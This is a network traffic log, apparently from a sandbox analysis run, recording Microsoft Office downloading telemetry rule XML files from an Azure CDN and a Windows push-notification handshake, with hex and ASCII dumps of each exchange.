2024-12-06 23:15:36 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231536Z-r1cf579d77898tqwhC1EWRf9q800000000t0000000003t3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:37 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: c73ff22a-601e-0097-54c1-45f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231537Z-1746fd949bdlqd7fhC1EWR6vt000000004zg00000000h7q5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49789	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:37 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4f 6b 58 6f 67 35 67 4a 33 30 32 4e 45 4f 56 61 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 39 33 64 61 61 61 30 31 37 39 62 33 32 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: OkXog5gJ302NEOVa.1Context: e793daaa0179b329
2024-12-06 23:15:37 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-06 23:15:37 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4f 6b 58 6f 67 35 67 4a 33 30 32 4e 45 4f 56 61 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 39 33 64 61 61 61 30 31 37 39 62 33 32 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 78 38 69 49 35 52 51 33 6f 49 55 69 32 62 45 50 66 44 72 56 75 4b 43 7a 67 45 4b 74 54 74 5a 6f 52 70 34 62 6c 38 30 49 69 36 31 74 69 62 78 6c 51 6f 53 6d 53 43 51 66 52 61 6b 65 2f 6d 74 4c 62 62 43 4c 41 68 34 72 58 6f 62 6a 54 38 76 49 4e 68 57 53 78 62 38 30 45 6f 38 7a 49 63 45 62 75 63 79 56 2f 41 35 68 55 65 78 74 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: OkXog5gJ302NEOVa.2Context: e793daaa0179b329<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWx8iI5RQ3oIUi2bEPfDrVuKCzgEKtTtZoRp4bl80Ii61tibxlQoSmSCQfRake/mtLbbCLAh4rXobjT8vINhWSxb80Eo8zIcEbucyV/A5hUext
2024-12-06 23:15:37 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4f 6b 58 6f 67 35 67 4a 33 30 32 4e 45 4f 56 61 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 37 39 33 64 61 61 61 30 31 37 39 62 33 32 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: OkXog5gJ302NEOVa.3Context: e793daaa0179b329<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-06 23:15:37 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-06 23:15:37 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 63 6d 47 47 30 2b 44 46 37 6b 4f 48 73 66 67 53 33 6b 4e 76 52 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: cmGG0+DF7kOHsfgS3kNvRg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:37 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:37 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9b021dfd-501e-0047-60c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231537Z-1746fd949bdtlp5chC1EWRq1v400000004r000000000u7d4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:37 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 4da954f1-f01e-003f-58cd-45d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231537Z-1746fd949bdlqd7fhC1EWR6vt0000000051000000000cfke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:37 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: f144d7bf-801e-0035-05bd-46752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231537Z-1746fd949bdlqd7fhC1EWR6vt00000000530000000006199 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:38 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:38 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bbae04f8-a01e-0032-80cc-451949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231538Z-1746fd949bdjrnwqhC1EWRpg2800000004y000000000cc0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:38 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:39 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:39 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231539Z-r1cf579d778qlpkrhC1EWRpfc8000000019g00000000agpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:39 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231539Z-r1cf579d778dc6d7hC1EWR2vs800000001f0000000000s4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:39 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231539Z-r1cf579d778dc6d7hC1EWR2vs800000001dg000000002x59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:40 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5cfda45f-901e-00ac-3dce-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231540Z-1746fd949bdkw94lhC1EWRxuz400000004z000000000p16y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
